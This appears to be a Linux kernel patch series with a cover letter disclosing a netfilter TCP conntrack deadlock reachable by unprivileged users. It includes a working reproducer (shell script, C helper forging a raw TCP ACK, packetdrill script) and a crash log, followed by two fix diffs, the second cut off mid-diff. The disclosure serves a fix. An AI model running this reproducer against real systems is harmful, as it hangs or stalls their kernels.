[PATCH nf v2 0/2] netfilter: fix TCP conntrack invalid-log deadlock

[PATCH nf v2 0/2] netfilter: fix TCP conntrack invalid-log deadlock

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated an issue in net/netfilter/nf_conntrack_proto_tcp.c.
The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

nf_conntrack_tcp_packet() can log invalid TCP packets while ct->lock is
still held. This happens both in the tcp_in_window() -> nf_tcp_log_invalid()
path and in the NFCT_TCP_INVALID -> nf_tcp_handle_invalid() path.

When invalid logging is routed to nfnetlink_log and the NFLOG instance has
NFULNL_CFG_F_CONNTRACK enabled, nfulnl_log_packet() re-enters conntrack
serialization through ctnetlink_glue_build() and tcp_to_nlattr(). That
reaches the same conntrack again and tries to take ct->lock recursively,
which can deadlock the sender in queued_spin_lock_slowpath() and then lead
to RCU stall reports.

The deadlock requires three ingredients: a lock-held invalid log site,
invalid logging that can actually execute, and NFLOG conntrack export that
re-enters conntrack attribute dumping.

For the timeout-lowering path, the held-lock log site is introduced by
628d694344a0 ("netfilter: conntrack: reduce timeout when receiving
out-of-window fin or rst").

For the tcp_in_window() invalid logging path, the held-lock log site is
older, but the deadlock only becomes reachable once d48668052b26
("netfilter: fix nf_l4proto_log_invalid to log invalid packets") fixes the
invalid-log gating bug and allows those logs to execute. The earlier
a29a9a585b28 ("netfilter: nfnetlink_log: allow to attach conntrack") change
is still an important precondition because it first adds conntrack export to
NFLOG, but it is not the correct Fixes target for either patch in this
series.

In v2, this fix is split into two patches as suggested during review.
The first patch moves the timeout-lowering log from nf_tcp_handle_invalid()
out from under ct->lock, and the second patch handles the remaining
tcp_in_window() invalid logging cases with a smaller deferred-log state.
That removes the recursive lock acquisition without narrowing the
invalid-path coverage.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

The two lines above are kept to match the required cover-letter template.
The actual runnable reproducer for this bug is the wrapper flow below.

Actual files used in this reproduction:

    chmod +x run-poc-packetdrill.sh
    unshare -Urn ./run-poc-packetdrill.sh

The wrapper script compiles poc-packetdrill-helper.c, starts
./poc-packetdrill-helper nflog to enable an NFLOG instance with
NFULNL_CFG_F_CONNTRACK, and then runs packetdrill with
poc-packetdrill.pkt.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN run-poc-packetdrill.sh------
#!/bin/sh
set -eu

DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
HELPER="$DIR/poc-packetdrill-helper"
SCRIPT="$DIR/poc-packetdrill.pkt"
NFLOG_OUT="$DIR/verify/poc-packetdrill-nflog.txt"
PD_OUT="$DIR/verify/poc-packetdrill-run.txt"
ENV_OUT="$DIR/verify/poc-packetdrill-env.txt"

log_env() {
	{
		printf '=== %s ===\n' "$1"
		id
		uname -a
		printf -- 'nf_conntrack_log_invalid='
		cat /proc/sys/net/netfilter/nf_conntrack_log_invalid 2>/dev/null || true
		printf -- 'nf_log/2='
		cat /proc/sys/net/netfilter/nf_log/2 2>/dev/null || true
		printf -- 'nfnetlink_log proc:\n'
		cat /proc/net/netfilter/nfnetlink_log 2>/dev/null || true
		printf '\n'
	} >>"$ENV_OUT"
}

if ! command -v packetdrill >/dev/null 2>&1; then
	echo "packetdrill not found in PATH" >&2
	exit 127
fi

export XTABLES_LOCKFILE=${XTABLES_LOCKFILE:-/tmp/xtables.lock}
: >"$ENV_OUT"

log_env before_setup

modprobe nfnetlink_log 2>>"$ENV_OUT" || true
printf 'nfnetlink_log' >/proc/sys/net/netfilter/nf_log/2 2>>"$ENV_OUT" || true

/usr/sbin/ip link set lo up
/usr/sbin/iptables-legacy -F
/usr/sbin/iptables-legacy -A INPUT -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
/usr/sbin/iptables-legacy -A OUTPUT -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
printf '6\n' > /proc/sys/net/netfilter/nf_conntrack_log_invalid

log_env after_setup

gcc -O2 -Wall -Wextra -o "$HELPER" "$DIR/poc-packetdrill-helper.c"

"$HELPER" nflog >"$NFLOG_OUT" 2>&1 &
NFLOG_PID=$!
cleanup() {
	kill "$NFLOG_PID" 2>/dev/null || true
	wait "$NFLOG_PID" 2>/dev/null || true
}
trap cleanup EXIT INT TERM

packetdrill \
	--local_ip=192.0.2.1 \
	--remote_ip=192.0.2.2 \
	--gateway_ip=192.0.2.2 \
	--bind_port=8080 \
	"$SCRIPT" >"$PD_OUT" 2>&1
wait "$NFLOG_PID"
trap - EXIT INT TERM
------END run-poc-packetdrill.sh--------

------BEGIN poc-packetdrill-helper.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_conntrack.h>
#include <linux/netfilter/nfnetlink_log.h>
#include <linux/netlink.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/poll.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define IPV4_FAMILY 2
#define PROC_TCP_PATH "/proc/net/tcp"

static uint32_t nl_seq;

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static struct nlattr *nlattr_put(struct nlmsghdr *nlh, size_t maxlen,
				 uint16_t type, const void *data, uint16_t len)
{
	size_t attr_len = NLA_HDRLEN + len;
	size_t total = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(attr_len);
	struct nlattr *nla;

	if (total > maxlen) {
		errno = ENOSPC;
		return NULL;
	}

	nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	nla->nla_type = type;
	nla->nla_len = attr_len;
	memcpy((char *)nla + NLA_HDRLEN, data, len);
	memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);
	nlh->nlmsg_len = total;
	return nla;
}

static void recv_ack(int fd, uint32_t seq)
{
	char buf[4096];
	struct nlmsghdr *nlh;
	ssize_t len;

	len = recv(fd, buf, sizeof(buf), 0);
	if (len < 0)
		die("recv netlink");

	for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
	     nlh = NLMSG_NEXT(nlh, len)) {
		if (nlh->nlmsg_seq != seq)
			continue;
		if (nlh->nlmsg_type == NLMSG_ERROR) {
			struct nlmsgerr *err = NLMSG_DATA(nlh);

			if (err->error) {
				errno = -err->error;
				die("netlink ack");
			}
			return;
		}
	}

	fprintf(stderr, "missing netlink ack for seq=%u\n", seq);
	exit(EXIT_FAILURE);
}

static void send_config_msg(int fd, uint8_t family, uint16_t group,
			    bool with_cmd, uint8_t cmd,
			    bool with_mode, uint8_t mode, uint32_t range,
			    bool with_flags, uint16_t flags)
{
	char buf[512];
	struct {
		struct nlmsghdr nlh;
		struct nfgenmsg nfg;
	} *req = (void *)buf;

	memset(buf, 0, sizeof(buf));
	req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->nfg));
	req->nlh.nlmsg_type = (NFNL_SUBSYS_ULOG << 8) | NFULNL_MSG_CONFIG;
	req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	req->nlh.nlmsg_seq = ++nl_seq;
	req->nfg.nfgen_family = family;
	req->nfg.version = NFNETLINK_V0;
	req->nfg.res_id = htons(group);

	if (with_cmd) {
		struct nfulnl_msg_config_cmd cfg = {
			.command = cmd,
		};

		if (!nlattr_put(&req->nlh, sizeof(buf), NFULA_CFG_CMD,
				&cfg, sizeof(cfg)))
			die("nlattr_put cmd");
	}

	if (with_mode) {
		struct nfulnl_msg_config_mode cfg = {
			.copy_range = htonl(range),
			.copy_mode = mode,
		};

		if (!nlattr_put(&req->nlh, sizeof(buf), NFULA_CFG_MODE,
				&cfg, sizeof(cfg)))
			die("nlattr_put mode");
	}

	if (with_flags) {
		__be16 be_flags = htons(flags);

		if (!nlattr_put(&req->nlh, sizeof(buf), NFULA_CFG_FLAGS,
				&be_flags, sizeof(be_flags)))
			die("nlattr_put flags");
	}

	if (send(fd, buf, req->nlh.nlmsg_len, 0) < 0)
		die("send netlink");
	recv_ack(fd, req->nlh.nlmsg_seq);
}

static int setup_nflog(void)
{
	struct sockaddr_nl addr = {
		.nl_family = AF_NETLINK,
	};
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);

	if (fd < 0)
		die("socket NETLINK_NETFILTER");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind NETLINK_NETFILTER");

	send_config_msg(fd, IPV4_FAMILY, 0, true, NFULNL_CFG_CMD_PF_BIND,
			false, 0, 0, false, 0);
	send_config_msg(fd, IPV4_FAMILY, 0, true, NFULNL_CFG_CMD_BIND,
			false, 0, 0, false, 0);
	send_config_msg(fd, IPV4_FAMILY, 0, false, 0,
			true, NFULNL_COPY_META, 0, true,
			NFULNL_CFG_F_CONNTRACK);

	return fd;
}

static int wait_nflog(void)
{
	char buf[4096];
	struct pollfd pfd;
	int fd, ret;

	fd = setup_nflog();
	pfd.fd = fd;
	pfd.events = POLLIN;
	ret = poll(&pfd, 1, 2000);
	if (ret < 0)
		die("poll nflog");
	if (ret == 0) {
		fprintf(stderr, "no NFLOG packet received within 2 seconds\n");
		close(fd);
		return 1;
	}
	ret = recv(fd, buf, sizeof(buf), 0);
	if (ret < 0)
		die("recv nflog packet");
	fprintf(stderr, "received NFLOG packet (%d bytes)\n", ret);
	close(fd);
	return 0;
}

static uint16_t csum16(const void *data, size_t len)
{
	const uint16_t *p = data;
	uint32_t sum = 0;

	while (len > 1) {
		sum += *p++;
		len -= 2;
	}
	if (len)
		sum += *(const uint8_t *)p;
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (uint16_t)~sum;
}

static uint16_t tcp_checksum(const struct iphdr *iph, const struct tcphdr *tcph)
{
	struct {
		uint32_t saddr;
		uint32_t daddr;
		uint8_t zero;
		uint8_t proto;
		uint16_t len;
		struct tcphdr tcph;
	} pseudo = {
		.saddr = iph->saddr,
		.daddr = iph->daddr,
		.zero = 0,
		.proto = IPPROTO_TCP,
		.len = htons(sizeof(struct tcphdr)),
		.tcph = *tcph,
	};

	return csum16(&pseudo, sizeof(pseudo));
}

static int find_established_tuple(uint16_t listen_port,
				 struct in_addr *src_ip, uint16_t *src_port,
				 struct in_addr *dst_ip, uint16_t *dst_port)
{
	FILE *fp;
	char line[512];

	fp = fopen(PROC_TCP_PATH, "r");
	if (!fp)
		die(PROC_TCP_PATH);

	if (!fgets(line, sizeof(line), fp)) {
		fclose(fp);
		return -1;
	}

	while (fgets(line, sizeof(line), fp)) {
		unsigned int sl;
		unsigned int lip_hex, lport_hex, rip_hex, rport_hex, state;
		struct in_addr lip, rip;

		if (sscanf(line,
			   " %u: %8X:%4X %8X:%4X %2X",
			   &sl, &lip_hex, &lport_hex, &rip_hex, &rport_hex, &state) != 6)
			continue;
		if (state != 0x01)
			continue;
		if (lport_hex != listen_port)
			continue;

		lip.s_addr = lip_hex;
		rip.s_addr = rip_hex;
		*src_ip = rip;
		*src_port = (uint16_t)rport_hex;
		*dst_ip = lip;
		*dst_port = (uint16_t)lport_hex;
		fclose(fp);
		return 0;
	}

	fclose(fp);
	return -1;
}

static void inject_invalid_from_proc(uint16_t listen_port,
				     uint32_t seq, uint32_t ack_seq)
{
	struct {
		struct iphdr ip;
		struct tcphdr tcp;
	} pkt;
	struct sockaddr_in dst = {
		.sin_family = AF_INET,
	};
	struct in_addr src_ip, dst_ip;
	uint16_t src_port, dst_port;
	int one = 1;
	int fd;

	if (find_established_tuple(listen_port, &src_ip, &src_port,
				    &dst_ip, &dst_port) < 0) {
		errno = ENOENT;
		die("find_established_tuple");
	}

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (fd < 0)
		die("socket raw");
	if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
		die("setsockopt IP_HDRINCL");

	dst.sin_addr = dst_ip;
	memset(&pkt, 0, sizeof(pkt));
	pkt.ip.version = 4;
	pkt.ip.ihl = sizeof(pkt.ip) / 4;
	pkt.ip.tot_len = htons(sizeof(pkt));
	pkt.ip.ttl = 64;
	pkt.ip.protocol = IPPROTO_TCP;
	pkt.ip.saddr = src_ip.s_addr;
	pkt.ip.daddr = dst_ip.s_addr;
	pkt.ip.check = csum16(&pkt.ip, sizeof(pkt.ip));

	pkt.tcp.source = htons(src_port);
	pkt.tcp.dest = htons(dst_port);
	pkt.tcp.seq = htonl(seq);
	pkt.tcp.ack_seq = htonl(ack_seq);
	pkt.tcp.doff = sizeof(pkt.tcp) / 4;
	pkt.tcp.ack = 1;
	pkt.tcp.window = htons(1024);
	pkt.tcp.check = tcp_checksum(&pkt.ip, &pkt.tcp);

	fprintf(stderr,
		"injecting forged ACK %s:%u -> %s:%u seq=%#x ack=%#x\n",
		inet_ntoa(src_ip), src_port, inet_ntoa(dst_ip), dst_port,
		seq, ack_seq);

	if (sendto(fd, &pkt, sizeof(pkt), 0,
		   (struct sockaddr *)&dst, sizeof(dst)) < 0)
		die("sendto raw");
	close(fd);
}

int main(int argc, char **argv)
{
	if (argc >= 2 && !strcmp(argv[1], "nflog"))
		return wait_nflog();
	if (argc == 5 && !strcmp(argv[1], "inject-from-proc")) {
		uint16_t listen_port = (uint16_t)strtoul(argv[2], NULL, 0);
		uint32_t seq = (uint32_t)strtoul(argv[3], NULL, 0);
		uint32_t ack_seq = (uint32_t)strtoul(argv[4], NULL, 0);

		inject_invalid_from_proc(listen_port, seq, ack_seq);
		return 0;
	}

	fprintf(stderr,
		"usage: %s nflog | inject-from-proc <listen_port> <seq> <ack>\n",
		argv[0]);
	return 2;
}
------END poc-packetdrill-helper.c--------

------BEGIN poc-packetdrill.pkt------
// packetdrill version of the TCP conntrack invalid-log deadlock PoC.
//
// This script uses packetdrill for the TCP state machine part and a small
// helper binary for the two userspace-only tasks that packetdrill does not
// cover well here:
//   1) enabling an NFLOG instance with NFULNL_CFG_F_CONNTRACK
//   2) injecting the final forged raw ACK based on the live tuple
//
// Expected behavior:
//   - vulnerable kernel: the helper injects the forged ACK, conntrack enters
//     the recursive ct->lock logging path, and the expected duplicate ACK
//     below never arrives
//   - fixed kernel: the duplicate ACK is emitted and the NFLOG helper also
//     receives a packet carrying conntrack attributes

0.000 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
+0.000 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
+0.000 bind(3, ..., ...) = 0
+0.000 listen(3, 1) = 0

+0.000 < S 0:0(0) win 32792 <mss 1460,nop,wscale 7>
+0.000 > S. 0:0(0) ack 1 <...>
+0.010 < . 1:1(0) ack 1 win 32792
+0.000 accept(3, ..., ...) = 4

+0.000 write(4, ..., 1) = 1
+0.000 > P. 1:2(1) ack 1
+0.010 < . 1:1(0) ack 2 win 32792

+0.000 < P. 1:2(1) ack 2 win 32792
+0.000 read(4, ..., 1) = 1
+0.000 > . 2:2(0) ack 2

+0.010 `./poc-packetdrill-helper inject-from-proc 8080 268435458 2`
+0.020 > . 2:2(0) ack 2
+0.200 `sleep 0.2`
------END poc-packetdrill.pkt--------

----BEGIN crash log----
[   86.136409] rcu: INFO: rcu_preempt self-detected stall on CPU
[   86.560968] CPU: 1 UID: 0 PID: 1021 Comm: poc-packetdrill Not tainted 7.2.0-rc3-00417-ge13caf1c2658 #6 PREEMPT(lazy)
[   86.560972] RIP: queued_spin_lock_slowpath+0x85/0x290
[   86.561012] Call Trace:
[   86.561019]  <TASK>
[   86.561021]  __instance_destroy+0x32/0x80
[   86.561876]  nfulnl_rcv_nl_event+0x82/0xa0
[   86.561994]  netlink_release+0x5e1/0x650
[   86.562993]  </TASK>
[   86.563918] CPU: 0 UID: 0 PID: 1034 Comm: poc-packetdrill Not tainted 7.2.0-rc3-00417-ge13caf1c2658 #6 PREEMPT(lazy)
[   86.563924] RIP: queued_spin_lock_slowpath+0x85/0x290
[   86.563947] Call Trace:
[   86.563948]  <TASK>
[   86.563949]  tcp_to_nlattr+0x3d/0x1a0
[   86.563984]  ctnetlink_dump_protoinfo.constprop.0+0x5c/0x90
[   86.564068]  ctnetlink_glue_build+0x264/0x3e0
[   86.564097]  nfulnl_log_packet+0x57d/0xba0
[   86.564185]  nf_l4proto_log_invalid+0xc6/0xe0
[   86.564189]  nf_ct_l4proto_log_invalid+0xb8/0xc0
[   86.564196]  nf_tcp_log_invalid+0x9b/0xc0
[   86.564560]  nf_conntrack_tcp_packet+0x4ff/0x1680
[   86.565087]  nf_conntrack_in+0x19f/0x4d0
[   86.565093]  raw_sendmsg+0xc31/0xe20
[   86.565343]  __x64_sys_sendto+0x1f/0x30
[   86.565348]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   86.565368]  </TASK>
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (2):
  netfilter: nf_conntrack_tcp: defer timeout-lowering invalid log until
    after unlock
  netfilter: nf_conntrack_tcp: defer tcp_in_window invalid logging until
    after unlock

 net/netfilter/nf_conntrack_proto_tcp.c | 138 +++++++++++++++++--------
 1 file changed, 94 insertions(+), 44 deletions(-)

-- 
2.43.0

[PATCH nf v2 1/2] netfilter: nf_conntrack_tcp: defer timeout-lowering invalid log until after unlock

[Zihan Xi]

nf_tcp_handle_invalid() can lower the timeout of an assured TCP
conntrack when an out-of-window FIN/RST is answered from the other
direction.  Today it also logs that event while ct->lock is still held.

If invalid logging is routed to nfnetlink_log and conntrack export is
enabled, the log path can re-enter conntrack netlink glue and recurse
into tcp_to_nlattr() on the same conntrack.  Move this timeout-lowering
log emission out from under ct->lock by making nf_tcp_handle_invalid()
return whether logging is needed, then emit the message after unlocking.

Keep the timeout update unchanged and simplify the log text so this path
does not need to stash extra state while the lock is held.

Fixes: 628d694344a0 ("netfilter: conntrack: reduce timeout when receiving out-of-window fin or rst")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
  - Split the timeout-lowering log handling out of the larger invalid-log fix.
  - Make nf_tcp_handle_invalid() return a bool and log after unlocking.
  - Simplify the log text so no extra lock-held state needs to be stashed.
  - v1 Link: https://lore.kernel.org/all/cover.1785307980.git.zihanx@nebusec.ai/
---
 net/netfilter/nf_conntrack_proto_tcp.c | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/net/netfilter/nf_conntrack_proto_tcp.c b/net/netfilter/nf_conntrack_proto_tcp.c
index ceeed3d7fe52..ef31dcaffd19 100644
--- a/net/netfilter/nf_conntrack_proto_tcp.c
+++ b/net/netfilter/nf_conntrack_proto_tcp.c
@@ -719,11 +719,8 @@ tcp_in_window(struct nf_conn *ct, enum ip_conntrack_dir dir,
 	return NFCT_TCP_ACCEPT;
 }
 
-static void __cold nf_tcp_handle_invalid(struct nf_conn *ct,
-					 enum ip_conntrack_dir dir,
-					 int index,
-					 const struct sk_buff *skb,
-					 const struct nf_hook_state *hook_state)
+static bool __cold
+nf_tcp_handle_invalid(struct nf_conn *ct, enum ip_conntrack_dir dir, int index)
 {
 	const unsigned int *timeouts;
 	const struct nf_tcp_net *tn;
@@ -732,7 +729,7 @@ static void __cold nf_tcp_handle_invalid(struct nf_conn *ct,
 
 	if (!test_bit(IPS_ASSURED_BIT, &ct->status) ||
 	    test_bit(IPS_FIXED_TIMEOUT_BIT, &ct->status))
-		return;
+		return false;
 
 	/* We don't want to have connections hanging around in ESTABLISHED
 	 * state for long time 'just because' conntrack deemed a FIN/RST
@@ -747,7 +744,7 @@ static void __cold nf_tcp_handle_invalid(struct nf_conn *ct,
 	case TCP_FIN_SET:
 		break;
 	default:
-		return;
+		return false;
 	}
 
 	if (ct->proto.tcp.last_dir != dir &&
@@ -755,7 +752,7 @@ static void __cold nf_tcp_handle_invalid(struct nf_conn *ct,
 	     ct->proto.tcp.last_index == TCP_RST_SET)) {
 		expires = nf_ct_expires(ct);
 		if (expires < 120 * HZ)
-			return;
+			return false;
 
 		tn = nf_tcp_pernet(nf_ct_net(ct));
 		timeouts = nf_ct_timeout_lookup(ct);
@@ -764,16 +761,15 @@ static void __cold nf_tcp_handle_invalid(struct nf_conn *ct,
 
 		timeout = READ_ONCE(timeouts[TCP_CONNTRACK_UNACK]);
 		if (expires > timeout) {
-			nf_ct_l4proto_log_invalid(skb, ct, hook_state,
-					  "packet (index %d, dir %d) response for index %d lower timeout to %u",
-					  index, dir, ct->proto.tcp.last_index, timeout);
-
 			WRITE_ONCE(ct->timeout, timeout + nfct_time_stamp);
+			return true;
 		}
 	} else {
 		ct->proto.tcp.last_index = index;
 		ct->proto.tcp.last_dir = dir;
 	}
+
+	return false;
 }
 
 /* table of valid flag combinations - PUSH, ECE and CWR are always valid */
@@ -971,6 +967,7 @@ int nf_conntrack_tcp_packet(struct nf_conn *ct,
 	enum tcp_conntrack new_state, old_state;
 	unsigned int index, *timeouts;
 	enum nf_ct_tcp_action res;
+	bool lowered_timeout = false;
 	enum ip_conntrack_dir dir;
 	const struct tcphdr *th;
 	struct tcphdr _tcph;
@@ -1258,8 +1255,10 @@ int nf_conntrack_tcp_packet(struct nf_conn *ct,
 		spin_unlock_bh(&ct->lock);
 		return NF_ACCEPT;
 	case NFCT_TCP_INVALID:
-		nf_tcp_handle_invalid(ct, dir, index, skb, state);
+		lowered_timeout = nf_tcp_handle_invalid(ct, dir, index);
 		spin_unlock_bh(&ct->lock);
+		if (lowered_timeout)
+			nf_ct_l4proto_log_invalid(skb, ct, state, "lowered timeout to UNACK");
 		return -NF_ACCEPT;
 	case NFCT_TCP_ACCEPT:
 		break;
-- 
2.43.0

[PATCH nf v2 2/2] netfilter: nf_conntrack_tcp: defer tcp_in_window invalid logging until after unlock

[Zihan Xi]

tcp_in_window() can emit several invalid-packet logs while ct->lock is
still held.  If invalid logging is routed to nfnetlink_log with
conntrack export enabled, this can re-enter conntrack netlink glue and
recurse into tcp_to_nlattr() on the same conntrack.

Fix this by storing only the minimal invalid-log context for the
remaining tcp_in_window() cases and emitting the actual log after
releasing ct->lock.  Rename the helper to reflect that it now records
context instead of logging immediately, and add an explicit lockdep
assertion plus comment to document that invalid TCP logs must not be
emitted while ct->lock is held.

Fixes: d48668052b26 ("netfilter: fix nf_l4proto_log_invalid to log invalid packets")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
  - Keep only the tcp_in_window() invalid logging cases in this patch.
  - Rename the helper to reflect that it stores invalid-log context.
  - Add a lockdep assertion and comment documenting that invalid logs must not be emitted under ct->lock.
  - v1 Link: https://lore.kernel.org/all/cover.1785307980.git.zihanx@nebusec.ai/
---
 net/netfilter/nf_conntrack_proto_tcp.c | 113 ++++++++++++++++++-------
 1 file changed, 82 insertions(+), 31 deletions(-)

diff --git a/net/netfilter/nf_conntrack_proto_tcp.c b/net/netfilter/nf_conntrack_proto_tcp.c
index ef31dcaffd19..e5875b7528fe 100644
--- a/net/netfilter/nf_conntrack_proto_tcp.c
+++ b/net/netfilter/nf_conntrack_proto_tcp.c
@@ -480,37 +480,87 @@ static void tcp_init_sender(struct ip_ct_tcp_state *sender,
 	}
 }
 
-__printf(6, 7)
-static enum nf_ct_tcp_action nf_tcp_log_invalid(const struct sk_buff *skb,
-						const struct nf_conn *ct,
-						const struct nf_hook_state *state,
-						const struct ip_ct_tcp_state *sender,
-						enum nf_ct_tcp_action ret,
-						const char *fmt, ...)
+enum nf_tcp_invalid_log_type {
+	NF_TCP_LOG_NONE,
+	NF_TCP_LOG_OVERSHOT,
+	NF_TCP_LOG_SEQ_OVER,
+	NF_TCP_LOG_ACK_OVER,
+	NF_TCP_LOG_SEQ_UNDER,
+	NF_TCP_LOG_ACK_UNDER,
+};
+
+struct nf_tcp_invalid_log {
+	enum nf_tcp_invalid_log_type type;
+	u32 value;
+};
+
+static enum nf_ct_tcp_action
+nf_tcp_store_invalid(const struct nf_conn *ct,
+		     const struct ip_ct_tcp_state *sender,
+		     struct nf_tcp_invalid_log *log,
+		     enum nf_ct_tcp_action ret,
+		     enum nf_tcp_invalid_log_type type,
+		     u32 value)
 {
 	const struct nf_tcp_net *tn = nf_tcp_pernet(nf_ct_net(ct));
-	struct va_format vaf;
-	va_list args;
 	bool be_liberal;
 
 	be_liberal = sender->flags & IP_CT_TCP_FLAG_BE_LIBERAL || tn->tcp_be_liberal;
 	if (be_liberal)
 		return NFCT_TCP_ACCEPT;
 
-	va_start(args, fmt);
-	vaf.fmt = fmt;
-	vaf.va = &args;
-	nf_ct_l4proto_log_invalid(skb, ct, state, "%pV", &vaf);
-	va_end(args);
-
+	log->type = type;
+	log->value = value;
 	return ret;
 }
 
+static void nf_tcp_log_invalid(const struct sk_buff *skb,
+			       const struct nf_conn *ct,
+			       const struct nf_hook_state *state,
+			       const struct nf_tcp_invalid_log *log)
+{
+	/* nfnetlink_log may re-enter conntrack attribute dumping and try to
+	 * take ct->lock again via tcp_to_nlattr(), so invalid TCP logs must
+	 * only be emitted after dropping ct->lock.
+	 */
+	lockdep_assert_not_held(&ct->lock);
+
+	switch (log->type) {
+	case NF_TCP_LOG_OVERSHOT:
+		nf_ct_l4proto_log_invalid(skb, ct, state,
+					  "%u bytes more than expected",
+					  log->value);
+		break;
+	case NF_TCP_LOG_SEQ_OVER:
+		nf_ct_l4proto_log_invalid(skb, ct, state,
+					  "SEQ is over upper bound %u (over the window of the receiver)",
+					  log->value);
+		break;
+	case NF_TCP_LOG_ACK_OVER:
+		nf_ct_l4proto_log_invalid(skb, ct, state,
+					  "ACK is over upper bound %u (ACKed data not seen yet)",
+					  log->value);
+		break;
+	case NF_TCP_LOG_SEQ_UNDER:
+		nf_ct_l4proto_log_invalid(skb, ct, state,
+					  "SEQ is under lower bound %u (already ACKed data retransmitted)",
+					  log->value);
+		break;
+	case NF_TCP_LOG_ACK_UNDER:
+		nf_ct_l4proto_log_invalid(skb, ct, state,
+					  "ignored ACK under lower bound %u (possible overly delayed)",
+					  log->value);
+		break;
+	case NF_TCP_LOG_NONE:
+		break;
+	}
+}
+
 static enum nf_ct_tcp_action
 tcp_in_window(struct nf_conn *ct, enum ip_conntrack_dir dir,
 	      unsigned int index, const struct sk_buff *skb,
 	      unsigned int dataoff, const struct tcphdr *tcph,
-	      const struct nf_hook_state *hook_state)
+	      struct nf_tcp_invalid_log *log)
 {
 	struct ip_ct_tcp *state = &ct->proto.tcp;
 	struct ip_ct_tcp_state *sender = &state->seen[dir];
@@ -640,31 +690,29 @@ tcp_in_window(struct nf_conn *ct, enum ip_conntrack_dir dir,
 			sender->td_end = end;
 			sender->flags |= IP_CT_TCP_FLAG_DATA_UNACKNOWLEDGED;
 
-			return nf_tcp_log_invalid(skb, ct, hook_state, sender, NFCT_TCP_IGNORE,
-						  "%u bytes more than expected", overshot);
+			return nf_tcp_store_invalid(ct, sender, log, NFCT_TCP_IGNORE,
+				   NF_TCP_LOG_OVERSHOT, overshot);
 		}
 
-		return nf_tcp_log_invalid(skb, ct, hook_state, sender, NFCT_TCP_INVALID,
-					  "SEQ is over upper bound %u (over the window of the receiver)",
-					  sender->td_maxend + 1);
+		return nf_tcp_store_invalid(ct, sender, log, NFCT_TCP_INVALID,
+				   NF_TCP_LOG_SEQ_OVER, sender->td_maxend + 1);
 	}
 
 	if (!before(sack, receiver->td_end + 1))
-		return nf_tcp_log_invalid(skb, ct, hook_state, sender, NFCT_TCP_INVALID,
-					  "ACK is over upper bound %u (ACKed data not seen yet)",
-					  receiver->td_end + 1);
+		return nf_tcp_store_invalid(ct, sender, log, NFCT_TCP_INVALID,
+					   NF_TCP_LOG_ACK_OVER, receiver->td_end + 1);
 
 	/* Is the ending sequence in the receive window (if available)? */
 	in_recv_win = !receiver->td_maxwin ||
 		      after(end, sender->td_end - receiver->td_maxwin - 1);
 	if (!in_recv_win)
-		return nf_tcp_log_invalid(skb, ct, hook_state, sender, NFCT_TCP_IGNORE,
-					  "SEQ is under lower bound %u (already ACKed data retransmitted)",
-					  sender->td_end - receiver->td_maxwin - 1);
+		return nf_tcp_store_invalid(ct, sender, log, NFCT_TCP_IGNORE,
+					   NF_TCP_LOG_SEQ_UNDER,
+					   sender->td_end - receiver->td_maxwin - 1);
 	if (!after(sack, receiver->td_end - MAXACKWINDOW(sender) - 1))
-		return nf_tcp_log_invalid(skb, ct, hook_state, sender, NFCT_TCP_IGNORE,
-					  "ignored ACK under lower bound %u (possible overly delayed)",
-					  receiver->td_end - MAXACKWINDOW(sender) - 1);
+		return nf_tcp_store_invalid(ct, sender, log, NFCT_TCP_IGNORE,
+					   NF_TCP_LOG_ACK_UNDER,
+					   receiver->td_end - MAXACKWINDOW(sender) - 1);
 
 	/* Take into account window scaling (RFC 1323). */
 	if (!tcph->syn)
@@ -967,6 +1015,7 @@ int nf_conntrack_tcp_packet(struct nf_conn *ct,
 	enum tcp_conntrack new_state, old_state;
 	unsigned int index, *timeouts;
 	enum nf_ct_tcp_action res;
+	struct nf_tcp_invalid_log log = {};
 	bool lowered_timeout = false;
 	enum ip_conntrack_dir dir;
 	const struct tcphdr *th;
@@ -1249,14 +1298,16 @@ int nf_conntrack_tcp_packet(struct nf_conn *ct,
 	}
 
 	res = tcp_in_window(ct, dir, index,
-			    skb, dataoff, th, state);
+			    skb, dataoff, th, &log);
 	switch (res) {
